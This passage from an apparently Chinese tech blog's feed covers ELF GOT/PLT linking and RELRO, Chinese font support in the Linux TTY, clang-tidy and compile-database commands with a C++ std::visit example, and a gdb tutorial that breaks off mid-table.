 0x00000001 (NEEDED)                     Shared library: [libc.so.6]
 0x0000000c (INIT)                       0x8048274
 0x0000000d (FINI)                       0x8048488
 0x00000019 (INIT_ARRAY)                 0x80495f4
 0x0000001b (INIT_ARRAYSZ)               4 (bytes)
 0x0000001a (FINI_ARRAY)                 0x80495f8
 0x0000001c (FINI_ARRAYSZ)               4 (bytes)
 0x00000004 (HASH)                       0x8048168
 0x00000005 (STRTAB)                     0x80481e0
 0x00000006 (SYMTAB)                     0x8048190
 0x0000000a (STRSZ)                      74 (bytes)
 0x0000000b (SYMENT)                     16 (bytes)
 0x00000015 (DEBUG)                      0x0
 0x00000003 (PLTGOT)                     0x80496ec
 0x00000002 (PLTRELSZ)                   24 (bytes)
 0x00000014 (PLTREL)                     REL
 0x00000017 (JMPREL)                     0x804825c
 0x00000011 (REL)                        0x8048254
 0x00000012 (RELSZ)                      8 (bytes)
 0x00000013 (RELENT)                     8 (bytes)
 0x6ffffffe (VERNEED)                    0x8048234
 0x6fffffff (VERNEEDNUM)                 1
 0x6ffffff0 (VERSYM)                     0x804822a
 0x00000000 (NULL)                       0x0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其实.dynamic段还藏着很多其它信息，都是跟动态运行相关的信息&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h1&gt;
&lt;p&gt;为了灵活利用虚拟内存空间, 所以编译器可以产生位置无关的代码.
可执行文件可以是位置无关的, 也可以是位置相关的, 动态链接库
绝大多数都是位置无关的. GOT表可写不可执行, PLT可执行不可写,
他们相互作用来实现函数符号的延时绑定. ASLR并不随机化PLT部分,
所以对ret2plt攻击没有直接影响. 为防止恶意修改got, 链接器提供了RELRO
选项, 去除got的写权限, 但也牺牲了延时绑定带来的好处.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;footprint&quot;&gt;footprint&lt;&#x2F;h1&gt;
&lt;p&gt;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;pannengzhi&#x2F;p&#x2F;2018-04-09-about-got-plt.html&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>终端字体</title>
        <published>2022-10-10T16:33:20+08:00</published>
        <updated>2022-10-10T16:33:20+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/10/终端字体/"/>
        <id>https://vercel.juzhong.asia/2022/10/终端字体/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/10/终端字体/">&lt;h1 id=&quot;zhong-duan-zi-ti&quot;&gt;终端字体&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;tty-utf&quot;&gt;tty UTF&lt;&#x2F;h1&gt;
&lt;p&gt;TTY终端无法显示中文字符的原因，是内核无法渲染中文字符，我的理解是：因为中文字符的显示模式、宽度与英文字符不同， 默认输出英文字符的framebuffer（帧缓冲区）无法支持中文的完整显示。如果你使用SSH等其它方式，字符并不是由内核渲染输出，所以正常显示了。&lt;&#x2F;p&gt;
&lt;p&gt;让 linux TTY终端支持中文显示的方法有两种思路：
1、启动单独的虚拟终端程序，实现对中文字体的渲染。常见的zh-con、fbterm就是这个思路。但是这两个软件已经很久没有人维护更新了。&lt;&#x2F;p&gt;
&lt;p&gt;2、对linux内核打补丁，实现内核原生支持中文输出。
补丁名称：cjktty&lt;&#x2F;p&gt;
&lt;h1 id=&quot;xian-cun-fang-an-zhuang-tai&quot;&gt;现存方案状态&lt;&#x2F;h1&gt;
&lt;p&gt;内核补丁：cjktty（保持更新中）；univt-patches（保持更新中）；&lt;&#x2F;p&gt;
&lt;p&gt;两个内核补丁均是 zhmars 大佬在发布维护更新&lt;&#x2F;p&gt;
&lt;p&gt;终端软件：kmscon（ARCH源内包上次更新在2020-7-9，基本没有功能更新，后面详细介绍这个方案及其衍生软件）；fbterm（AUR上次更新在2022-01-17，依然有功能性更新）；zhcon（AUR上次更新在2020-11-15，仅是更新了源码下载地址，并无功能更新）&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zong-jie-yu-si-kao&quot;&gt;总结与思考&lt;&#x2F;h1&gt;
&lt;p&gt;参考cjktty作者原文，以及reddit的讨论，我总结了一下现有方案的思路：&lt;&#x2F;p&gt;
&lt;p&gt;linux原生TTY不支持中文，因为它是（VGA）文字模式的控制台，简单理解为一种打字机，里面仅包含了有限的字符（想象一下打字机的字模，一共只有那么多），无法囊括中文字库（类似当年林语堂先生发明明快打字机时面临的困局），想要修改这部分需要对内核进行大量改造，工作量巨大。&lt;&#x2F;p&gt;
&lt;p&gt;cjktty作者采用了变通方案，改造图形模式控制台支持unicode（包含中文），而图形模式控制台实际上就是linux图形化桌面的基础。
kmscon、fbterm等方案也是类似的思路，通过实现一种图形模式控制台来支持unicode（包含中文）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;copy&quot;&gt;copy&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;这些项目（systemd-consoled，kmscon）毫无意义。这个想法本身是有缺陷的。这可能是两者都被抛弃的根本原因。‎

‎内核 VT 子系统的正确替代品是一个用户空间‎‎窗口系统‎‎，该系统能够运行多个‎‎终端仿真器‎‎以及其他客户端，在它们之间切换，并执行基本的 WM 操作，例如最大化输出上的窗口。‎

‎当前的内核 VT 子系统实际上是一个原始的、非常有限的窗口管理器，具有内置的、非常有限的终端仿真器，两者都在不属于它们的内核空间中运行。试图在当前KMS &amp;#x2F; DRI &amp;#x2F; 输入设备模型之上的用户空间中重新创建此装置不可避免地会以运行自定义终端仿真器的自定义窗口系统结束，但为什么？要重写它？为什么不直接使用X + wm或Wayland合成器之一，并在那里运行终端模拟器。或者，如果它是自定义窗口系统，为什么要将其限制为终端仿真器？‎

‎我认为从事此类项目的人迟早会意识到，然后放弃他们的项目。‎

‎突出问题--&amp;gt;想象一下，一个系统在3x2显示器矩阵上运行一个窗口GUI，其排列方式使其形成一个巨大的桌面。用户请求切换到（用户空间或内核空间）VT。在这个组合屏幕上究竟应该发生什么？它与在GUI中启动多个终端窗口并以某种方式调整&amp;#x2F;重新排列它们有何不同？‎

‎历史证明，最初的Linux内核VT子系统确实有意义。当时，它是在某些BIOS功能之上构建的，BIOS有一个终端仿真器和一个可以在会话之间切换的&amp;quot;屏幕&amp;quot;的概念。然后Linux转向KMS &amp;#x2F; DRI &amp;#x2F; etc设备模型，这意味着具有多个可配置屏幕的裸图形设备。基于BIOS的旧VT代码被改编成在这种新模型之上的工作方式，以避免破坏当时的用户空间（软件），即使它不再有意义。反过来，用户空间的人们被推动开始考虑如何处理这种兼容性的混乱，最终应是从内核中删除（最初的Linux内核VT子系统）。‎
简单来说，当前虚拟终端不支持中文等大量UNICODE字符的原因主要是历史遗留（对最初的Linux内核VT子系统以及依赖它的软件的支持）。而cjktty、kmscon实现的东西均类似wayland等框架，但它们的功能仅限于对一个文字终端显示（输入）中文的支持，这些在wayland等高效的图形化框架的对比下略显多余（wayland增加的体积、负载等不多，但功能多太多了）。

作为对比，Windows是通过将图形化相关支持置入内核实现的，linux进行类似实现亦可行，只是会失去灵活性（不是很必要，知乎有相关讨论）。随着wayland等框架的推广，有望实现对传统虚拟终端的替代，内核将来的发展可能就会抛弃传统VT子系统，全转交给wayland等进行实现。所以cjktty作者说wayland或许是真正的解决方案。

可能未来一天，随着linux的普及，对图形化更加重视，TTY可能会淡出大家的视野，到时候TTY中文支持也就不再是问题了吧。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;footprint&quot;&gt;footprint&lt;&#x2F;h1&gt;
&lt;p&gt;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;375460344
https:&#x2F;&#x2F;cloud-atlas.readthedocs.io&#x2F;zh_CN&#x2F;latest&#x2F;linux&#x2F;desktop&#x2F;chinese&#x2F;kmscon.html
https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;486542400&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>clang-tidy&#x2F;ninja</title>
        <published>2022-10-10T15:54:01+08:00</published>
        <updated>2026-10-08T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/10/clang-tidy-ninja/"/>
        <id>https://vercel.juzhong.asia/2022/10/clang-tidy-ninja/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/10/clang-tidy-ninja/">&lt;h1 id=&quot;clang-tidy-ninja&quot;&gt;clang-tidy&#x2F;ninja&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;clang-tidy&quot;&gt;clang-tidy&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;clang-tidy --list-checks # list default checker
clang-tidy --list-checks -checks=&amp;#x27;*&amp;#x27;
run-clang-tidy.py
clang-format --help

gn gen . --export-compile-commands
ninja -t compdb cxx cc &amp;gt; compile_commands.json
cmake -DCMAKE_EXPORT_COMPILE_COMMANDS=ON -B build
bear -n make
compiledb make -j
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;visitor-overload&quot;&gt;visitor&#x2F;overload&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.cppreference.com&#x2F;w&#x2F;cpp&#x2F;utility&#x2F;variant&#x2F;visit&quot;&gt;visit&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iomanip&amp;gt;
#include &amp;lt;iostream&amp;gt;
#include &amp;lt;string&amp;gt;
#include &amp;lt;type_traits&amp;gt;
#include &amp;lt;variant&amp;gt;
#include &amp;lt;vector&amp;gt;
 
&amp;#x2F;&amp;#x2F; the variant to visit
using var_t = std::variant&amp;lt;int, long, double, std::string&amp;gt;;
 
&amp;#x2F;&amp;#x2F; helper constant for the visitor #3
template&amp;lt;class&amp;gt; inline constexpr bool always_false_v = false;
 
&amp;#x2F;&amp;#x2F; helper type for the visitor #4
template&amp;lt;class... Ts&amp;gt; struct overloaded : Ts... { using Ts::operator()...; };
&amp;#x2F;&amp;#x2F; explicit deduction guide (not needed as of C++20)
template&amp;lt;class... Ts&amp;gt; overloaded(Ts...) -&amp;gt; overloaded&amp;lt;Ts...&amp;gt;;
 
int main() {
    std::vector&amp;lt;var_t&amp;gt; vec = {10, 15l, 1.5, &amp;quot;hello&amp;quot;};
    for (auto&amp;amp; v: vec) {
 
        &amp;#x2F;&amp;#x2F; 1. void visitor, only called for side-effects (here, for I&amp;#x2F;O)
        std::visit([](auto&amp;amp;&amp;amp; arg){std::cout &amp;lt;&amp;lt; arg;}, v);
 
        &amp;#x2F;&amp;#x2F; 2. value-returning visitor, demonstrates the idiom of returning another variant
        var_t w = std::visit([](auto&amp;amp;&amp;amp; arg) -&amp;gt; var_t {return arg + arg;}, v);
 
        &amp;#x2F;&amp;#x2F; 3. type-matching visitor: a lambda that handles each type differently
        std::cout &amp;lt;&amp;lt; &amp;quot;. After doubling, variant holds &amp;quot;;
        std::visit([](auto&amp;amp;&amp;amp; arg) {
            using T = std::decay_t&amp;lt;decltype(arg)&amp;gt;;
            if constexpr (std::is_same_v&amp;lt;T, int&amp;gt;)
                std::cout &amp;lt;&amp;lt; &amp;quot;int with value &amp;quot; &amp;lt;&amp;lt; arg &amp;lt;&amp;lt; &amp;#x27;\n&amp;#x27;;
            else if constexpr (std::is_same_v&amp;lt;T, long&amp;gt;)
                std::cout &amp;lt;&amp;lt; &amp;quot;long with value &amp;quot; &amp;lt;&amp;lt; arg &amp;lt;&amp;lt; &amp;#x27;\n&amp;#x27;;
            else if constexpr (std::is_same_v&amp;lt;T, double&amp;gt;)
                std::cout &amp;lt;&amp;lt; &amp;quot;double with value &amp;quot; &amp;lt;&amp;lt; arg &amp;lt;&amp;lt; &amp;#x27;\n&amp;#x27;;
            else if constexpr (std::is_same_v&amp;lt;T, std::string&amp;gt;)
                std::cout &amp;lt;&amp;lt; &amp;quot;std::string with value &amp;quot; &amp;lt;&amp;lt; std::quoted(arg) &amp;lt;&amp;lt; &amp;#x27;\n&amp;#x27;;
            else 
                static_assert(always_false_v&amp;lt;T&amp;gt;, &amp;quot;non-exhaustive visitor!&amp;quot;);
        }, w);
    }
 
    for (auto&amp;amp; v: vec) {
        &amp;#x2F;&amp;#x2F; 4. another type-matching visitor: a class with 3 overloaded operator()&amp;#x27;s
        &amp;#x2F;&amp;#x2F; Note: The `(auto arg)` template operator() will bind to `int` and `long`
        &amp;#x2F;&amp;#x2F;       in this case, but in its absence the `(double arg)` operator()
        &amp;#x2F;&amp;#x2F;       *will also* bind to `int` and `long` because both are implicitly
        &amp;#x2F;&amp;#x2F;       convertible to double. When using this form, care has to be taken
        &amp;#x2F;&amp;#x2F;       that implicit conversions are handled correctly.
        std::visit(overloaded {
            [](auto arg) { std::cout &amp;lt;&amp;lt; arg &amp;lt;&amp;lt; &amp;#x27; &amp;#x27;; },
            [](double arg) { std::cout &amp;lt;&amp;lt; std::fixed &amp;lt;&amp;lt; arg &amp;lt;&amp;lt; &amp;#x27; &amp;#x27;; },
            [](const std::string&amp;amp; arg) { std::cout &amp;lt;&amp;lt; std::quoted(arg) &amp;lt;&amp;lt; &amp;#x27; &amp;#x27;; }
        }, v);
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>gdb</title>
        <published>2022-10-10T10:03:41+08:00</published>
        <updated>2022-10-10T10:03:41+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/10/gdb/"/>
        <id>https://vercel.juzhong.asia/2022/10/gdb/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/10/gdb/">&lt;h1 id=&quot;gdb&quot;&gt;gdb&lt;&#x2F;h1&gt;
&lt;p&gt;参考自：
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;euphie&#x2F;p&#x2F;9781482.html&quot;&gt;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;euphie&#x2F;p&#x2F;9781482.html&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;blog.chinaunix.net&#x2F;uid-30038461-id-5136170.html&quot;&gt;http:&#x2F;&#x2F;blog.chinaunix.net&#x2F;uid-30038461-id-5136170.html&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;faxiang1230&#x2F;article&#x2F;details&#x2F;108848470&quot;&gt;https:&#x2F;&#x2F;blog.csdn.net&#x2F;faxiang1230&#x2F;article&#x2F;details&#x2F;108848470&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;arnoldlu&#x2F;p&#x2F;9633254.html&quot;&gt;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;arnoldlu&#x2F;p&#x2F;9633254.html&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;1、GDB简介&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Linux 包含了一个叫 gdb 的 GNU 调试程序。gdb 是一个用来调试 C 和 C++ 程序的强力调试器，它使你能在程序运行时观察程序的内部结构和内存的使用情况。以下是 gdb 所提供的一些功能：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;它使你能监视你程序中变量的值；&lt;&#x2F;li&gt;
&lt;li&gt;它使你能设置断点以使程序在指定的代码行上停止执行；&lt;&#x2F;li&gt;
&lt;li&gt;它使你能一行行的执行你的代码。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在命令行上键入 gdb 并按回车键就可以运行 gdb 了，如果一切正常的话，gdb 将被启动并且你将在屏幕上看到类似的内容：&lt;br &#x2F;&gt;
&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;10&#x2F;gdb&#x2F;image-20231225110836-a8qkrgf.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;br &#x2F;&gt;
当你启动 gdb 后，你能在命令行上指定很多的选项。你也可以以下面的方式来运行 gdb：&lt;&#x2F;p&gt;
&lt;p&gt;gdb &lt;fname&gt;&lt;&#x2F;p&gt;
&lt;p&gt;当你用这种方式运行 gdb，你能直接指定想要调试的程序，这将告诉 gdb 装入名为 fname 的可执行文件。你也可以用 gdb 去检查一个因程序异常终止而产生的 core 文件，或者与一个正在运行的程序相连。你可以参考 gdb 指南页或在命令行上键入 gdb -h 得到一个有关这些选项的说明的简单列表。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;2、GDB配置与.gdbinit的编写&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;GDB同样支持配置文件，在启动时自动执行配置文件中的命令，有以下几个地方可以控制&#x2F;etc&#x2F;gdbinit, ~&#x2F;.gdbinit, .&#x2F;.gdbinit。可以通过添加gdb -nx参数来禁止执行配置文件的命令。&lt;&#x2F;p&gt;
&lt;p&gt;通过配置文件对于重复性的调试比较友好，减少很多的重复设置的工作量。&lt;&#x2F;p&gt;
&lt;p&gt;新版的gdb从安全角度进行了一些限制，默认.&#x2F;.gdbinit不会加载，如果需要禁止这个安全功能，可以修改&lt;sub&gt;&#x2F;.gdbinit，添加set auto-load safe-path &#x2F;。如果只是想加载某个目录下的.gdbinit，可以在&lt;&#x2F;sub&gt;&#x2F;.gdbinit下添加add-auto-load-safe-path &#x2F;home&#x2F;linux&#x2F;project&#x2F;Demo&#x2F;linux&#x2F;gdb&#x2F;.gdbinit。&lt;&#x2F;p&gt;
&lt;p&gt;当 GDB（即 GNU Project Debugger）启动时，它在当前用户的主目录中寻找一个名为 .gdbinit 的文件；如果该文件存在，则 GDB 就执行该文件中的所有命令。通常，该文件用于简单的配置命令，如设置所需的缺省汇编程序格式（Intel® 或 Motorola）或用于显示输入和输出数据的缺省基数（十进制或十六进制）。它还可以读取宏编码语言，从而允许实现更强大的自定义。该语言遵循如下基本格式：&lt;&#x2F;p&gt;
&lt;p&gt;define &lt;command&gt;&lt;&#x2F;p&gt;
&lt;p&gt;...&lt;&#x2F;p&gt;
&lt;p&gt;end&lt;&#x2F;p&gt;
&lt;p&gt;document &lt;command&gt;&lt;&#x2F;p&gt;
&lt;p&gt;...&lt;&#x2F;p&gt;
&lt;p&gt;end&lt;&#x2F;p&gt;
&lt;p&gt;该命令称为用户命令。可以将所有其他标准 GDB 命令与流控制指令结合使用并向其传递参数，从而创建一种语言，以允许为正在调试的特定应用程序而自定义调试器的行为。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;从简单开始：清屏&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;从简单开始并在此基础上逐步发展始终是个好主意。启动 xterm，调出您最喜欢的编辑器，让我们开始创建一个有用的 .gdbinit 文件吧！调试器产生的输出可能非常零乱，根据个人偏好，在使用任何可能产生混乱的工具时，许多人都希望能够清屏。GDB 没有用于清屏的内置命令，但它可以调用 shell 函数；下面的代码跳到调试器之外以使用cls 命令来清除 xterm 控制台：&lt;&#x2F;p&gt;
&lt;p&gt;define cls&lt;&#x2F;p&gt;
&lt;p&gt;shell clear&lt;&#x2F;p&gt;
&lt;p&gt;end&lt;&#x2F;p&gt;
&lt;p&gt;document cls&lt;&#x2F;p&gt;
&lt;p&gt;Clears the screen with a simple command.&lt;&#x2F;p&gt;
&lt;p&gt;end&lt;&#x2F;p&gt;
&lt;p&gt;此定义的上半部分（在 define … end 动词所界定的范围内）构成了在调用该命令时所执行的代码。&lt;&#x2F;p&gt;
&lt;p&gt;此定义的下半部分（在 document … end 所界定的范围内）由 GDB 命令解释器使用，用于在您键入help cls 时显示与cls 命令关联的文本。&lt;&#x2F;p&gt;
&lt;p&gt;在将该代码键入 .gdbinit 文件以后，调出 GDB 并输入cls 命令。此时屏幕被清除，您所看到的就只有 GDB 提示符。您的 GDB 自定义之旅已经开始了！&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;3、编译调试代码(Compiling Code for Debugging)&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;gdb很多功能依赖debug信息，例如根据函数名设置断点，backtrace查看栈桢，info args等功能，所以为了使 gdb 正常工作，你必须使你的程序在编译时包含调试信息。调试信息包含你程序里的每个变量的类型和在可执行文件里的地址映射以及源代码的行号， gdb 利用这些信息使源代码和机器码相关联。&lt;&#x2F;p&gt;
&lt;p&gt;编译源代码时防止优化：-O0 -g，其中 -O0 可以防止编译器优化，特别是对于局部变量或者只读变量， -g 要求生成的文件带有调试信息。&lt;&#x2F;p&gt;
&lt;p&gt;（&lt;strong&gt;注：melis SDK要在menuconfig中将编译优化等级选为debug&lt;&#x2F;strong&gt;）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;4、GDB基本命令&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;gdb 支持很多的命令使你能实现不同的功能。这些命令从简单的文件装入到允许你检查所调用的堆栈内容的复杂命令，后面列出了你在用 gdb 调试时会用到的一些命令。想了解 gdb 的详细使用请参考 gdb 的指南页。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;进入GDB：&lt;&#x2F;strong&gt;  #gdb# test&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;test是要调试的程序，由gcc test.c -g -o test生成。进入后提示符变为(gdb) 。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;查看源码：&lt;&#x2F;strong&gt;  (gdb) l&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;源码会进行行号提示。&lt;&#x2F;p&gt;
&lt;p&gt;如果需要查看在其他文件中定义的函数，在l后加上函数名即可定位到这个函数的定义及查看附近的其他源码。或者：使用断点或单步运行，到某个函数处使用s进入这个函数。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;设置断点：&lt;&#x2F;strong&gt;  (gdb) b 6&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这样会在运行到源码第6行时停止，可以查看变量的值、堆栈情况等；这个行号是gdb的行号。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;查看断点处情况：&lt;&#x2F;strong&gt;  (gdb) info b&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;可以键入&quot;info b&quot;来查看断点处情况，可以设置多个断点；&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;运行代码：&lt;&#x2F;strong&gt;  (gdb) r&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;显示变量值：&lt;&#x2F;strong&gt;  (gdb) p n&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在程序暂停时，键入&quot;p 变量名&quot;(print)即可；&lt;&#x2F;p&gt;
&lt;p&gt;GDB在显示变量值时都会在对应值之前加上 N N&quot;，而无需写冗长的变量名；&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;观察变量：&lt;&#x2F;strong&gt;  (gdb) watch n&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在某一循环处，往往希望能够观察一个变量的变化情况，这时就可以键入命令&quot;watch&quot;来观察变量的变化情况，GDB在&quot;n&quot;设置了观察点；&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;单步运行：&lt;&#x2F;strong&gt;  (gdb) n&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;程序继续运行：&lt;&#x2F;strong&gt;  (gdb) c&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;使程序继续往下运行，直到再次遇到断点或程序结束；&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;退出GDB：&lt;&#x2F;strong&gt;  (gdb) q&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;4.1 断点调试&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;strong&gt;命令格式&lt;&#x2F;strong&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;strong&gt;例子&lt;&#x2F;strong&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;strong&gt;作用&lt;&#x2F;strong&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;break + 设置断点的行号&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;break n&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;在n行处设置断点&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;tbreak + 行号或函数名&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;tbreak n&#x2F;func&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;设置临时断点，到达后被自动删除&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;break + filename + 行号&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;break main.c:10&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;用于在指定文件对应行设置断点&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;break + filename + 函数名&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;break main.c:main&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;用于在指定文件对应函数入口处设置断点&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;break + &amp;lt;0x…&amp;gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;break 0x3400a&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;用于在内存某一位置处暂停&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;break + 行号 + if + 条件&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;break 10 if i==3&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;用于设置条件断点，在循环中使用非常方便&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;info breakpoints&#x2F;watchpoints [n]&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;info break 或 info b&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;n表示断点编号，查看断点&#x2F;观察点的情况&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;clear + 要清除的断点行号&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;clear 10&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;用于清除对应行的断点，要给出断点的行号，清除时GDB会给出提示&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;delete + 要清除的断点编号&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;delete 3 或 del 3&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;用于清除断点和自动显示的表达式的命令，要给出断点的编号，清除时GDB不会给出任何提示&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;disable&#x2F;enable + 断点编号&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;disable 3&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;让所设断点暂时失效&#x2F;使能，如果要让多个编号处的断点失效&#x2F;使能，可将编号之间用空格隔开&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;awatch&#x2F;watch + 变量&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;awatch&#x2F;watch i&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;设置一个观察点，当变量被读出或写入时程序被暂停&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
